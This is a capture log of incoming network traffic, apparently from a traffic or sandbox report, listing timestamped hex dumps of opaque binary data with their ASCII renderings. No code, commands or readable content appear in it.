2022-07-20 07:08:25 UTC	7247	IN	Data Raw: 1e 49 44 b2 7f 0e 9d 14 e9 be 96 4c 80 4c 51 3e 19 37 80 9b e9 7f ac a6 4c 9b c3 2e 29 93 78 6f a4 15 22 c9 dd 3f b3 ed 33 20 13 3a 84 0a ae 0c 40 64 47 86 f0 7c 47 cc bd 29 f8 2a 01 4b c4 3e f3 45 37 98 a8 8f 68 a2 bf c2 08 a8 a0 a2 8a 1e 07 d8 fd c2 9a 65 01 ec 87 02 28 45 05 eb c3 bf 96 44 26 fa 1d 03 e1 fe 81 e7 8b a2 9d 32 03 c1 45 c2 3e fe 86 5c 57 16 4d e5 90 09 bc bf 91 14 de 19 37 d2 53 7d 4d f4 3a 74 ff 00 4b 79 fb 26 65 20 48 fb 20 88 50 8b aa ea 20 88 84 03 22 99 47 d2 21 91 fa 3f c2 3e d5 9f 64 55 6a 5e 2b 1e e6 8f d1 15 0f 07 c1 fb 20 a5 f6 8a 0a 28 a0 82 87 d8 8f 6c ca 51 5c 54 62 cb ed e5 bc 3a 7f a9 d1 29 d3 f8 07 c3 a7 fa d8 26 f0 e8 94 cb 8a 21 32 64 de 47 82 9d 3a 74 03 a0 3c 3b 2f 91 73 4e 9f e9 7f 0e 9d 3a 74 fe 38 a2 19 3b 78 6f a9 Data Ascii: IDLLQ>7L.)xo"?3 :@dG\|G)*K>E7he(ED&2E>\WM7S}M:tKy&e H P "G!?>dUj^+ (lQ\Tb:)&!2dG:t<;/sN:t8;xo
2022-07-20 07:08:25 UTC	7263	IN	Data Raw: 12 c7 1a d1 20 22 1b 22 a6 20 b2 8f f6 52 a5 c9 f6 a3 1f 75 86 5e c0 94 54 3d 99 fa 51 fb 9f b8 08 06 5f 65 28 72 50 1e c8 60 a1 17 5f 0f 05 65 e6 68 4d 3f a9 12 cc 40 64 0a 6f 13 08 22 a5 22 65 12 9b e4 11 0c 9b c0 f4 ab ab 9a 91 0f 1b 43 4c b2 e6 42 95 c4 a0 5d 7e 47 c8 6b 1f d6 24 48 18 f1 37 4b de 39 32 56 97 32 2e 8a b0 fa 88 45 40 b9 88 6f 0c 80 6f 03 c4 62 e6 29 9d 52 3d ce a3 34 3d 2b 27 cb c4 7c f1 f4 66 24 87 a1 54 b8 99 17 38 cc 4d 91 11 90 1e c0 51 57 45 07 43 ed ed 42 4e 9f c1 f2 0f a9 c5 82 08 29 8f 72 91 51 3e f9 f2 41 44 3a 90 f7 30 a2 ad af d0 0a 0b 8f a4 42 fb a9 82 57 dd 7c 86 40 7b 51 ab 99 83 c0 d9 12 11 3e ca 88 63 21 c8 46 a6 32 0e 30 e8 35 9a a4 c6 c0 24 0c 58 f2 61 33 29 0a e3 c4 40 72 94 51 92 b4 80 31 ac 61 29 f3 31 08 c9 33 ae Data Ascii: "" Ru^T=Q_e(rP`_ehM?@do""eCLB]~Gk$H7K92V2.E@oob)R=4=+'\|f$T8MQWECBN)rQ>AD:0BW\|@{Q>c!F205$Xa3)@rQ1a)13
2022-07-20 07:08:25 UTC	7271	IN	Data Raw: 08 95 c0 ae 25 31 4c 9b c3 14 02 65 c1 d1 83 78 74 eb ef f4 b2 21 37 d0 ff 00 c2 c9 97 15 c5 08 2e 21 08 28 44 15 3c 70 14 ac 8c 50 b2 25 7c 91 46 c0 14 6c 05 38 46 41 09 84 e1 3a 7f 0e 9c 78 99 51 4f f4 bf 82 a3 fc 21 02 99 49 32 64 11 28 94 4a 74 e8 49 72 4f e0 a2 57 25 c9 72 5c 97 25 c9 02 89 41 04 02 11 51 8a 1e 97 15 c5 33 78 64 de 1d 3a 25 48 f8 f7 e0 85 c5 08 14 20 57 c4 50 a4 a8 d2 85 6c a3 10 81 0a 4c 81 47 fa a1 2e 41 d9 08 89 01 53 89 57 c5 32 75 cd 90 b4 29 58 9f 92 e7 c5 00 e9 bc 19 b2 04 2e 2b da 23 c7 f8 f8 c1 46 b0 b8 04 62 0a 01 91 40 a2 53 a7 5c 82 25 38 40 a3 e0 48 84 6d 42 e6 42 d0 55 d8 f0 b0 fe 09 2a 78 d2 8a 62 8c cc 50 79 23 17 46 a2 84 02 e0 c7 9c 97 f7 92 30 9a f8 c0 51 24 2e 0e 9e 48 c8 a6 92 e5 25 cc af 9a 4b e5 2b e7 28 64 15 Data Ascii: %1Lext!7.!(D<pP%\|Fl8FA:xQO!I2d(JtIrOW%r\%AQ3xd:%H WPlLG.ASW2u)X.+#Fb@S\%8@HmBBU*xbPy#F0Q$.H%K+(d
2022-07-20 07:08:25 UTC	7287	IN	Data Raw: d6 55 8d 91 87 7e 6c ff 00 16 78 11 ab 57 1c ac 6e 9a 70 e3 47 69 ea 5d 76 bc 4e b9 93 8b 75 1f b1 65 8f 2d fe 4e 0c b6 dd 03 a0 6c a3 81 b0 eb d8 75 e5 5b dd 7a 8e 16 da 78 f1 c1 d7 ed f4 ff 00 b0 b6 19 71 d0 6b a9 a2 39 39 3b 8e bf 97 da 7b 7c 7a de 3f 59 e9 fa ae c3 b6 c8 ef 99 51 dc 75 9c 09 76 ac ed b9 d2 f6 4e b9 fa b7 f5 f6 8b 6f d6 ed c2 ba bb 32 fb 36 c3 3f 0b 5d a9 cd df e4 fe ae ea 3a dc 1b bb 57 61 c2 d9 e4 ec 35 70 db 2c 9e b1 83 8f 8f 8d 8b 46 c6 39 12 d7 6b ae c7 bb af 53 ac cf ec 7f 81 09 e7 5d 75 5a 9e c1 46 05 98 5b 9a 2e b7 69 9f f9 59 7a fc f3 08 cb 53 ca b8 c2 9a c6 41 94 eb d7 51 2b 65 76 4d 56 5d a4 ee d9 3a 2c eb 6e 63 ae db 4b 2e 9d 36 df 13 24 59 fa f7 23 0f 12 de fb b7 da 69 bf 46 63 64 f4 ec 5e 83 7d f9 5d 83 13 57 8b 09 67 77 Data Ascii: U~lxWnpGi]vNue-Nlu[zxqk99;{\|z?YQuvNo26?]:Wa5p,F9kS]uZF[.iYzSAQ+evMV]:,ncK.6$Y#iFcd^}]Wgw
2022-07-20 07:08:25 UTC	7303	IN	Data Raw: b3 2e b7 1e a3 76 3b 9b 07 01 71 82 eb 5d 8b 67 6e ae db f1 f1 8d 79 d4 19 53 d8 84 2d ca da df 94 6c 34 ce 8c 7d 85 fa ca aa a7 e6 87 50 ed 5b 2e a3 99 fb 0b b5 60 76 dc 1f db 5f 81 a0 d2 61 e1 ca f9 92 6b 50 ca 93 51 93 ca 43 03 1e f9 4b 45 c4 ec b0 ef a0 6a f5 36 db 5e 07 59 84 46 5e ab 1f 27 6b fa f7 ad eb fb 2e 3e 7e 9b 3b 14 e2 8c 88 98 c6 76 c2 1f f6 cb d9 4b 31 67 e3 ca 9b 35 71 31 b7 6d 92 72 32 ac 94 a5 18 48 b4 0c 65 3b 71 29 8e 4f eb bd 05 3b bc be cf a1 9e 9e 3d 27 4a 31 33 36 3a 6c fd 4e 94 fe 7e 56 3d 36 d3 5d 9d 2f 2b 63 8b 7f 6a ec dd 5b 65 d5 bf 62 55 d5 e1 d8 7a bf 51 c5 da 6e 37 1b c8 60 9d 2f 5a cf dd db bf d2 53 19 55 d4 ee cc 3b cd 5f 3b 2f eb f7 9c e7 a6 e9 f5 8f d8 50 d0 60 77 4f d7 f9 14 5f 7e 41 c6 19 19 9a 7c d8 5f 1c 59 d7 83 Data Ascii: .v;q]gnyS-l4}P[.`v_akPQCKEj6^YF^'k.>~;vK1g5q1mr2He;q)O;='J136:lN~V=6]/+cj[ebUzQn7`/ZSU;_;/P`wO_~A\|_Y
2022-07-20 07:08:25 UTC	7311	IN	Data Raw: 44 ba a7 6b 1a 25 be dc 5f b4 87 eb 8f 8e fa 7b 96 08 96 06 35 91 99 d4 6e b2 f5 d9 b8 dd ce 1d 6a 9d af eb 8d 07 6f 47 5d 5d b1 d3 dd c3 0a e0 62 6f 3c ab a2 8b 2f b3 a0 62 e3 f5 08 f7 99 e4 d5 8b b6 d7 e4 77 ad 56 06 c7 0b b2 2e b1 fa fe ee d9 b4 fd b3 fa c7 5d fa f2 b3 70 b9 43 04 dc 72 32 4e 31 85 7c 4e 2d d2 8c b0 f3 af c4 23 67 6e 5e 45 16 d9 8f a9 d7 dd 8d a5 c9 c0 c8 b7 1f 1b a1 eb 28 96 cf ae f7 7c 6e a9 b6 de 64 d7 97 b2 d7 75 09 e7 63 6a ce 46 2e 45 97 19 59 4e 11 bd 5f 64 f5 fa ea f0 ac 96 3b 42 c3 d0 75 98 99 79 dd 8b 53 91 a2 db 74 2e d9 56 56 7e f7 26 5b 7b fb 4f 63 86 82 3f a5 fb fc a1 2c cc fe 37 77 cd 5c ed d4 e7 d9 76 3c fa cd 77 f7 9d 3e b7 f5 ce 0e bf 06 bc be a7 d3 56 4f 67 ab a5 57 8f 68 ca ca d6 d5 39 ee ba 9f 63 d8 6b f4 bf b0 7a Data Ascii: Dk%_{5njoG]]bo</bwV.]pCr2N1\|N-#gn^E(\|nducjF.EYN_d;BuySt.VV~&[{Oc?,7w\v<w>VOgWh9ckz
2022-07-20 07:08:25 UTC	7327	IN	Data Raw: c8 d9 6f 75 95 63 67 64 1c 89 52 2c b4 61 75 bc dc 9b f5 14 c7 1e 5b 7a ad 8d 78 99 26 93 a5 b3 23 2b 23 6f 55 3f 27 58 d8 9e cf 77 66 ca bb e0 c4 eb 19 17 59 6e 9b 2f 1a e8 e9 ef 9c 7b 2e b3 73 89 7e 2f 4a d8 5d 56 5e 87 2f 03 1b a5 4a ba 57 67 ec 71 ba 8c ec fc 1d 5d a7 f6 15 b9 91 95 d1 c5 a6 ad f4 e8 8e 1f 58 dc 6e b1 3a bf ea ec 38 0e d3 b9 d7 63 cf 59 66 aa 9a 75 97 e4 66 57 91 b4 86 64 f2 fb 7e cf 0b 23 2f f6 ce 4e 0d da 2f de f9 33 d9 e2 76 29 67 53 9d fb 3f 5b 8d 3c 4f d8 bd 7e 78 39 3d cf 41 f9 7b 1d c7 5a c7 8e 7e 46 1e 1c e7 d8 35 50 9c 7b 06 1c 27 57 6b c5 b5 7f b0 85 f1 19 75 3d 78 93 b2 73 c2 b4 4a ad 6d 92 94 f5 86 07 b6 fe ba 8e da be bd d5 2a d4 61 e1 6b 63 55 71 c1 9c 65 db f0 21 93 a2 d3 77 5c 6d 47 4a fd 29 ae c4 d4 e8 2f ed 9a 29 59 Data Ascii: oucgdR,au[zx&#+#oU?'XwfYn/{.s~/J]V^/JWgq]Xn:8cYfufWd~#/N/3v)gS?[<O~x9=A{Z~F5P{'Wku=xsJm*akcUqe!w\mGJ)/)Y
2022-07-20 07:08:25 UTC	7343	IN	Data Raw: aa 79 18 91 50 d8 62 a3 9f 4d 63 37 b5 6b b0 46 d7 bc 6b b5 95 eb f6 f9 5b 7c 6d bf 63 9e b6 9c 9f d8 d7 58 a7 db 76 18 d5 e1 7e cd be c3 d7 7b d5 18 99 fa 6d 86 b3 71 1f d8 99 7f 35 38 fa c8 63 46 59 13 d7 5b b3 cf bc 8e a7 af ff 00 da b0 75 dd 0f 0a d5 f8 b6 61 ca 8b a1 0a fb 6f 42 d5 67 67 d9 19 6b 8c 7e 0a e2 7b 2d 18 f5 ec bb 84 a4 a7 dc 2f f9 76 1b bb f2 55 b9 99 26 5d 77 b4 65 53 1c 6e dd 00 b6 5d aa 98 47 3f b0 c3 22 c3 b0 95 64 5d 5c d5 3b 7b aa 8d b9 31 c9 13 c4 aa 44 e2 50 a9 c2 c7 26 9d 7c 6c 95 3a c9 09 57 ac 63 8f 8f 54 14 6a a4 aa 30 e8 58 b8 58 c4 d5 af ae 26 a8 d3 52 be 78 f0 85 5b 0c 7b 67 99 a9 19 0a de a9 3b 56 47 4e 9c 23 77 54 a4 9b ba 38 e3 56 83 3f 12 36 e1 ef 04 bf 33 71 88 b2 b7 fb 5b 0d f9 3b 49 8d 1e a7 26 ec ab bb 8d 7a 68 62 Data Ascii: yPbMc7kFk[\|mcXv~{mq58cFY[uaoBggk~{-/vU&]weSn]G?"d]\;{1DP&\|l:WcTj0XX&Rx[{g;VGN#wT8V?63q[;I&zhb
2022-07-20 07:08:25 UTC	7351	IN	Data Raw: 95 4a bf 69 55 6a ed bf 23 93 b1 ac a9 65 c2 4b e5 f5 cd d4 6c 28 5b 60 42 c9 21 64 c2 e7 30 be 49 92 27 25 c8 a1 34 26 50 99 0a 32 f6 24 b9 23 34 26 c8 58 10 b5 46 f4 2c 05 0b 51 9a e5 c5 09 3a 12 5c 90 b0 85 f2 12 84 99 1b 10 b0 15 cc 38 2e b9 00 b9 04 26 84 8b 19 a1 6a f9 17 ca 85 9e be 44 ee 83 26 08 c4 31 60 a5 38 b9 94 11 30 44 c5 19 80 be 50 8c dd 4a 5e cf f7 56 89 44 f0 24 58 4a e6 1a 52 8c 44 ad 63 2b 7d ff 00 d8 fc 65 4a 2e 84 19 44 3a 2c 84 fd f2 08 af 92 52 52 9b 2f 90 0f 1c bd 70 64 03 a6 11 52 29 c0 5c fd f2 01 73 25 09 12 83 29 14 1e 28 c5 c8 93 18 48 45 63 d9 15 4d d0 6a ad ae 62 54 d3 21 f1 c0 2b ef 84 15 f6 89 22 48 30 bd 45 8a 8f 32 a9 b0 d6 6d d9 d3 c6 fd 8f e4 cb 67 ac 9f c9 3c 5c 88 59 66 9f 26 eb 33 7a fd f8 e3 65 ad ab 22 15 69 46 Data Ascii: JiUj#eKl([`B!d0I'%4&P2$#4&XF,Q:\8.&jD&1`80DPJ^VD$XJRDc+}eJ.D:,RR/pdR)\s%)(HEcMjbT!+"H0E2mg<\Yf&3ze"iF
2022-07-20 07:08:25 UTC	7367	IN	Data Raw: 9a 0d d2 32 c5 80 c9 cc 87 0a 6d 39 22 e8 fc 12 b6 79 18 97 e5 6b 21 5d 5d 3f 1a 1d bf 57 b0 ca b3 6b a0 a7 ae 66 c7 55 fa d6 9e 57 ce c9 cd 69 ee 94 74 fd 5b 38 d4 b7 f7 0b 6c ea 99 1f 8f 6f 47 3f 19 c9 c9 95 9b 2e 99 9d 2c 8c de ff 00 da a7 b0 c8 d9 6d 21 9f 9b a5 d7 c2 bc de f3 b0 6d 5f 57 c7 8c 10 b2 56 aa a1 29 4b 0e 66 b8 fc dc a1 ac 89 22 cc 5b b2 21 1e a7 9b 2e bd b4 b2 12 55 9c 4b 0e c6 91 19 7c d1 a6 9d 6d ee 72 f2 a5 09 e4 db 5b 54 43 e7 e5 71 8c 73 7e 68 5b 92 04 ee 12 66 04 63 e3 d5 2a e7 45 d2 9e 5e 39 c9 9c e4 26 75 1f d7 27 73 70 9d 18 b3 35 0c 19 7c b5 6a e9 e3 66 65 63 e3 c9 a3 fa 6a 2a 19 35 65 eb a3 85 77 5d d3 d3 6e 2e bf 4e 75 99 5d 8b 5d 18 e4 e3 83 2a 36 18 8c 35 d8 bf 90 2e c7 10 39 90 f8 ad dc 00 65 8a 0f 2d 6f f6 96 54 08 5a 69 Data Ascii: 2m9"yk!]]?WkfUWit[8loG?.,m!m_WV)Kf"[!.UK\|mr[TCqs~h[fcE^9&u'sp5\|jfecj5ew]n.Nu]]*65.9e-oTZi
2022-07-20 07:08:25 UTC	7383	IN	Data Raw: 54 e6 be 46 53 b5 84 ee 64 72 04 04 ee 0a 39 71 91 b7 28 3d b2 84 a1 64 c9 53 93 91 1f 4c 8f 22 39 12 44 49 32 82 b2 2e 4c 48 5f f5 12 2e ac 01 57 03 24 3e d3 53 a8 c4 cb d2 95 65 18 71 46 3e cc 51 f4 8c 7d c9 94 9d 19 00 0b 39 f6 84 41 46 4c a5 ed 43 d2 70 51 1e b8 b2 21 11 eb ee 99 d4 47 b7 75 1f 68 94 c4 0f fa 91 10 03 0e 44 02 65 21 01 02 10 0e a4 4b 02 5f e3 71 0f 48 44 45 46 41 e2 1c 0f 67 b0 d9 90 0d 58 86 b8 69 fb bc 75 1a fd 8d 59 7b 0a b5 b8 39 19 8a fc 58 61 59 75 b6 05 64 41 13 b6 79 23 5c 25 8c 32 72 ab a6 38 39 50 cb 55 6d 2c e5 b1 d8 cb 36 8c 31 b1 c3 b7 3e ea 71 c5 bb da 63 08 65 17 85 73 8c 7f 26 cb e5 37 e5 56 e2 71 a7 55 b4 cb c7 9e b6 17 d4 76 d9 72 c7 86 bb 73 5c 6d c8 95 33 59 1f 9f 0a ed 9e 48 14 c6 bc c3 ba bb 59 4e 2e 65 56 89 f4 Data Ascii: TFSdr9q(=dSL"9DI2.LH_.W$>SeqF>Q}9AFLCpQ!GuhDe!K_qHDEFAgXiuY{9XaYudAy#\%2r89PUm,61>qces&7VqUvrs\m3YHYN.eV
2022-07-20 07:08:25 UTC	7390	IN	Data Raw: 21 0e 0b 88 55 19 56 8d 2e 3e 3e 27 8f 25 4c 08 81 0c 59 90 93 90 d1 5e c9 88 51 2c 04 38 ae 48 7a 26 4c a4 48 3c 88 45 72 25 5d 87 4c cf e2 64 6b a7 66 e0 91 fe eb 89 a7 6f 4c 94 6c e2 a3 74 4a 89 46 2b 97 a1 20 57 36 33 26 4b 89 2b 91 24 44 29 87 05 de 41 44 06 04 a0 e0 ce 41 0f eb 27 46 2e 23 e8 4a 3e c0 0e 00 60 02 ff 00 33 11 23 37 5e 39 1c fb 28 8d 1b 48 98 4e c8 ce 23 fa c8 cd 6d bf 7f eb b2 b1 ba 4e fe dd 36 ca ac 6c 7b a8 b6 ca f0 a5 dd e5 4e 68 ea 3d 2b 3f 74 ac fd 5d 4e b6 b1 46 25 87 6d d5 ab d2 ac 2c 69 66 ca ba e2 a5 b1 a6 b5 76 44 b2 17 d8 8b 65 13 5e fb 27 87 4e d2 69 3b 6d d8 dd 6f 23 ae 6d f0 7a fe b3 1f 33 17 5f fe da ed 5e df 42 31 f0 73 23 80 b1 3b 1e ab 3c 57 6d 79 0a 74 09 03 47 13 3a dc 7c 10 06 dd 6d 64 57 ae 10 17 6a a7 64 aa d7 Data Ascii: !UV.>>'%LY^Q,8Hz&LH<Er%]LdkfoLltJF+ W63&K+$D)ADA'F.#J>`3#7^9(HN#mN6l{Nh=+?t]NF%m,ifvDe^'Ni;mo#mz3_^B1s#;<WmytG:\|mdWjd
2022-07-20 07:08:25 UTC	7406	IN	Data Raw: 5b d7 b6 60 ab bc dd 9d 7f 54 24 22 eb e1 e2 16 95 cd 47 76 aa aa c5 5d 5d ec 3d 51 92 c3 d2 b7 68 e2 c9 cb 84 7a 73 b1 89 71 17 70 af 86 a3 f4 d2 9e 1a aa 2e 54 97 e7 80 54 e6 d9 1d 49 e5 4c dd 5f bb 64 ba 83 a6 cf 84 7f f3 53 b3 be 23 c7 ab 09 26 3a 57 a4 7a cd 64 f1 1a c7 52 48 6a 2e aa 5d e1 a9 73 0d 45 38 3a d8 28 ed 6e 8c b5 4b 7b 67 5e c7 5b e1 27 04 1b a0 61 38 a9 15 11 4b c2 ab 65 b5 d6 51 15 af d4 3a 61 13 f5 13 ab 5e c7 57 84 6f b8 78 a7 30 ca 5d 4d a1 97 ad 61 fa 47 a7 9f 57 5c 45 ed 52 70 ed 12 da 58 23 ed c5 96 94 19 09 c5 aa 4c 5b db 35 0e 84 f9 ad 3f 2e c0 c9 cb b5 bd d5 25 07 17 88 61 55 04 45 d7 50 8b 4e b7 ef 42 64 b5 88 e8 fc 42 a8 fb d0 66 bb fa 8b 07 1c 5e 26 f0 93 5c 3b 3b c4 8c 59 87 24 4e 0c a7 09 29 17 6a 48 32 f3 92 1f 33 0c 83 Data Ascii: [`T$"Gv]]=Qhzsqp.TTIL_dS#&:WzdRHj.]sE8:(nK{g^['a8KeQ:a^Wox0]MaGW\ERpX#L[5?.%aUEPNBdBf^&\;;Y$N)jH23
2022-07-20 07:08:25 UTC	7422	IN	Data Raw: 56 e2 56 f3 2f ec d3 3a 2b 74 b5 4a 93 fe 61 8d d0 23 8c c8 e5 c7 6f 22 47 cd 51 fa 47 ab 29 d3 6b 58 5e 29 81 1b 5b f0 ca 9d eb e7 5a 97 45 02 ac fa e5 cc ac 36 87 58 ce 39 6d cd e6 ad 26 ae 55 fc a9 10 2e 9d d2 3b 95 20 13 f7 c5 5b 95 ae d9 5a 86 a3 54 e9 22 e9 d3 6a b5 ae ab c1 9d 33 f3 3f 6a d4 31 1d 60 85 61 d5 2b f5 a5 39 02 87 19 3a 47 fe e7 f2 e9 bd 1b d4 f5 81 e5 80 59 42 8c ee a0 ec 52 a9 fa ea 2d 23 c7 26 b7 d3 d1 83 b3 28 b1 0d 6c aa d1 ab f9 3c b5 ea 1a cf e9 ad 54 9e 9f ea d1 10 e2 37 19 44 f1 c6 bc 03 2f 82 6f 0a b5 4d a5 fc f6 ae 06 77 bc b1 97 3c ff 00 12 b7 2b 51 f5 0f 50 95 9e 72 aa 0e 5b a8 25 46 4e a3 20 39 7a 8c bc ed e3 a1 d4 00 ef c3 0a 30 dc aa c9 bc 6e 3d b5 d4 59 56 44 27 df ef ab b9 05 40 a9 7d 27 4d 3c 8b a2 d4 38 79 21 0d c0 Data Ascii: VV/:+tJa#o"GQG)kX^)[ZE6X9m&U.; [ZT"j3?j1`a+9:GYBR-#&(l<T7D/oMw<+QPr[%FN 9z0n=YVD'@}'M<8y!
2022-07-20 07:08:25 UTC	7430	IN	Data Raw: 13 64 9b 2e 64 39 06 67 bf 8d 5a 4f 05 4b 3e 9a 07 d0 7a 89 39 3a 4c 43 09 63 63 f8 ab 22 f8 d3 c4 8d c5 4a ba c6 31 e9 d8 31 cd 63 60 47 e9 bd 6a 1f d3 e2 ff 00 c8 89 95 a2 97 75 c1 bf 4c ee e5 a8 b4 ba 89 5f 30 cd 1d d3 85 88 6c 1a 36 cb ce 9f 05 69 cf aa e9 cc d3 3e 51 95 c1 f1 b0 de 39 24 f8 97 8a 8e a7 d0 b5 af ea 5a 20 a5 1f 47 ab 70 f2 c5 e5 6d 36 a9 f8 cf 97 a5 3f ed d3 7a 87 a8 e9 8c 5e a2 ae 63 4d 31 38 ca d6 cc b7 f2 c7 1f 8d d6 b4 de af ea 9a b6 92 54 63 81 24 46 a9 63 78 e3 8c 70 8b f8 6a 4d 7b 89 35 53 c6 c7 2c 4a 2e 16 2b e0 b1 c5 e5 f3 65 e3 a5 d2 c2 64 d3 c6 c1 5a 48 64 04 2a c9 7e 22 15 b9 2a 6f ea 1f ea ad 2c 7a ad 3b 0f cb c1 01 7b 09 80 05 f3 46 c9 c8 89 cf 23 f8 b9 2b 4d ea 9a bd 43 28 d5 29 64 0a b7 0b 8f 00 6e d1 43 5b e9 88 b1 cf Data Ascii: d.d9gZOK>z9:LCcc"J11c`GjuL_0l6i>Q9$Z Gpm6?z^cM18Tc$FcxpjM{5S,J.+edZHd~"o,z;{F#+MC()dnC[
2022-07-20 07:08:25 UTC	7446	IN	Data Raw: b5 a6 d7 3e 68 fd 5b 44 3a 13 a9 c4 4b 19 fc 39 90 ee c8 dc cb 46 24 5b 8d c7 78 b7 65 43 ab 0d 99 b4 ed 9c ab 9b e6 07 9f de 69 4e 69 13 aa e1 d9 25 e6 08 dc 4a d1 c9 cb 2f c3 96 97 52 14 cb 0b 05 4e 2b 67 ca bc 25 24 45 e1 5c 39 72 d3 cd a9 2c ef 95 6c 64 db 94 70 c6 bf 65 32 8a 11 22 e2 d8 62 6d 56 92 45 00 ef 53 98 51 3f 98 4c 36 5c 1f 98 56 9a 39 20 11 ea f4 f1 98 9e 68 c9 2b 28 bd d1 a4 8f c1 32 ec 66 e5 6a 31 5f 85 4e 63 fa ab a5 a6 5c f2 9b 90 b7 03 01 b7 6d 02 ae 51 81 bd d7 02 3e 6a 25 d8 b2 f5 0b 1d e6 e7 69 ac 9e a5 ea da 6d 34 71 aa 39 05 b2 92 1f 92 c5 f9 9b cc be 0f 15 69 3d 63 d1 e4 fb e4 b8 74 0e 01 90 c5 63 1c eb 93 db c5 97 9e b4 1a 5d 26 a7 2e ab 5b a9 44 d6 ea 26 84 75 21 52 b9 55 a0 32 0e 9e 56 9b 99 96 93 d2 75 72 e9 a2 fe a1 2a aa Data Ascii: >h[D:K9F$[xeCiNi%J/RN+g%$E\9r,ldpe2"bmVESQ?L6\V9 h+(2fj1_Nc\mQ>j%im4q9i=ctc]&.[D&u!RU2Vur*
2022-07-20 07:08:25 UTC	7462	IN	Data Raw: 12 47 cf 1f 0d 7f bc c5 ab 1a 43 02 b7 e5 67 d3 cd d4 8e 51 8c 87 4f 03 29 cb 95 b9 ba 72 2e 4e 6c b5 a7 f4 ff 00 5a 8a 0d 6b cb 63 0c a4 08 a4 0d 6d 99 d7 83 3f ec e6 a4 f4 e8 e0 31 2f ac 69 e4 69 16 16 da e9 6c d2 f4 9a d1 f5 b2 3f 1c 8b f8 9e 2e 5a 1a cf e9 af ea 0d 2b 6b f4 b3 3f 40 ce 04 2e 25 43 71 a4 96 36 6e 3f e5 bf 0d 2f ae 7f 4a 13 a3 d7 64 e9 fa a7 a5 c6 d6 8e 65 3c 33 64 4e 55 9b 9d a0 95 72 f5 57 ee de 92 1c 86 c0 9c 6d 62 3b 88 da a6 9f fa 8f d2 e6 eb eb 3d 2e 36 3e a3 e9 7a 81 8c f0 12 33 6a 34 92 2e 2b d2 4e 28 f3 2b e4 91 78 f2 f8 a2 97 d2 3d 44 fa 97 f4 df aa 0f fc 63 a8 75 eb c0 47 14 90 37 51 7f 12 2f 0e 7c e9 2a 7c 54 f1 7a 8e a8 41 01 07 3e a6 28 d5 4c 44 f2 3b 69 97 06 5f e7 32 fd 7a 1a 09 fd 49 e6 19 44 ba 7d 4c 0f 74 92 26 d8 c9 Data Ascii: GCgQO)r.NlZkcm?1/iil?.Z+k?@.%Cq6n?/Jde<3dNUrWmb;=.6>z3j4.+N(+x=DcuG7Q/\|*\|TzA>(LD;i_2zID}Lt&
2022-07-20 07:08:25 UTC	7470	IN	Data Raw: 39 7e ab c6 4d d5 9b f9 8d f1 51 8a 32 ca 84 82 54 35 81 23 96 eb db 42 39 47 4e 52 45 c9 c2 d7 ed a6 4d 2e a2 77 d6 47 cc 92 20 0a c0 f8 a2 91 0e ef 2b d7 48 b1 11 0f 00 36 5b f9 b2 ec 26 ac 36 8d b4 07 f6 b5 69 e2 8a 45 95 f5 10 2c c7 a6 6e 17 3d f2 c4 c7 f9 8b 6e 2a ea ea 48 85 48 c0 1e 63 ec 5a 6f cc 23 ca 77 00 d6 bf cd 52 e9 e3 8e 4e 94 de 11 21 00 1f 03 7c 79 7e 2a 43 a6 49 59 02 80 e4 d8 9c fe 2c b9 7f 85 e4 cd c5 51 c9 a5 30 49 08 92 c3 2b 5a 50 55 78 fa b1 1e 2c 87 c0 ed cd 46 49 6e 55 b0 b9 a0 d1 58 4c 08 2a ca 71 15 17 a9 74 e3 9b 2b 66 64 98 5d 1c 78 e3 96 dc 59 5f cc bc 54 de b7 a7 d3 0d 07 a3 4e 0a 2c 26 63 a8 cb 32 ae 76 81 19 42 cb 06 7f e1 67 cc 8b 4b 94 66 66 d8 84 d8 db b2 b2 4e 25 60 c3 2a aa b1 2e 3e aa f1 66 fa 95 26 9e 7e a4 10 2b Data Ascii: 9~MQ2T5#B9GNREM.wG +H6[&6iE,n=nHHcZo#wRN!\|y~CIY,Q0I+ZPUx,FInUXLqt+fd]xY_TN,&c2vBgKffN%`.>f&~+
2022-07-20 07:08:25 UTC	7486	IN	Data Raw: 49 ea da 93 a3 10 46 ac 4a f5 d5 64 39 0d 9f 2c 72 65 2c df 0a f1 35 4f a9 f4 cd 34 d3 7a 54 72 47 2e a1 55 3a 88 19 38 d1 a4 8b 9d 53 2f e2 32 ff 00 0f 9a a3 d4 49 e9 ff 00 96 d3 1d 4f 54 4b a7 8a d0 bc a0 65 78 fa c5 73 e6 44 e5 8f ab f6 6a 3d 34 d3 4d a9 d1 cc 8c da 8d 34 81 94 c7 31 39 03 c4 d7 b3 ba a6 56 cd f6 68 c4 ae 5d 01 e0 2d b4 8d d7 a8 e6 67 46 55 70 d9 0e 3b 3e 8a 5f 4e d1 fa 3e 8e 10 50 2a 4e 42 99 a2 60 73 3c 90 18 95 6d d4 b7 2b 35 6a 20 05 bf f2 8a 0c 37 ac 6d d4 e2 f8 73 d7 4c a6 79 fc 2c ae 78 4b 7f 11 5a 3f 10 f2 d7 fb 5e a2 66 81 52 44 9d 35 12 28 eb b0 22 f9 f8 0f 4d 97 c3 7e 27 a8 ff 00 28 27 d5 6a 58 5a 6d 54 c7 26 7c 7f 0e 3d 3a f0 f4 97 ce dc 6d 46 15 d4 e4 d2 6a 0e 59 52 2b 5c db c3 26 fe 1f 2f 2d 08 fa f2 3a 58 70 9c 06 3f 0d Data Ascii: IFJd9,re,5O4zTrG.U:8S/2IOTKexsDj=4M419Vh]-gFUp;>_N>P*NB`s<m+5j 7msLy,xKZ?^fRD5("M~'('jXZmT&\|=:mFjYR+\&/-:Xp?
2022-07-20 07:08:25 UTC	7502	IN	Data Raw: 01 3a e8 4a 90 93 69 d5 06 59 96 1f e7 e9 dd 39 e1 e2 e3 e2 a4 92 25 32 19 ee 46 51 72 58 f8 7e d5 69 e1 d5 69 24 86 5d 55 ba 51 c8 b9 4b dc db 2a e6 e1 cf f0 d4 be 99 ea ec ff 00 93 96 c2 0d 44 63 3c da 36 4c 15 59 33 7d fe 8f c2 f1 7e 22 78 28 c7 aa 28 e1 ec d1 cb 13 66 8a 45 3c b2 44 fe 56 f8 f2 ba f8 96 93 5f af 63 0e 9c 35 d0 6f 90 f9 47 c1 7a 7d 1f a1 c9 02 6a 16 c6 59 58 e6 11 92 78 82 c6 dc ed 6f 0d 49 ea de a7 a8 68 1a 49 15 04 b1 8c 84 63 93 a8 b9 39 19 be 1a 77 d4 4d a9 d6 6a b4 ed 98 cc f2 9b e5 b7 2b c6 e7 a7 22 af ff 00 86 f2 b5 7a 87 f5 48 50 da 5f 4c 82 52 b9 c1 cc d2 95 ca 93 26 e5 e9 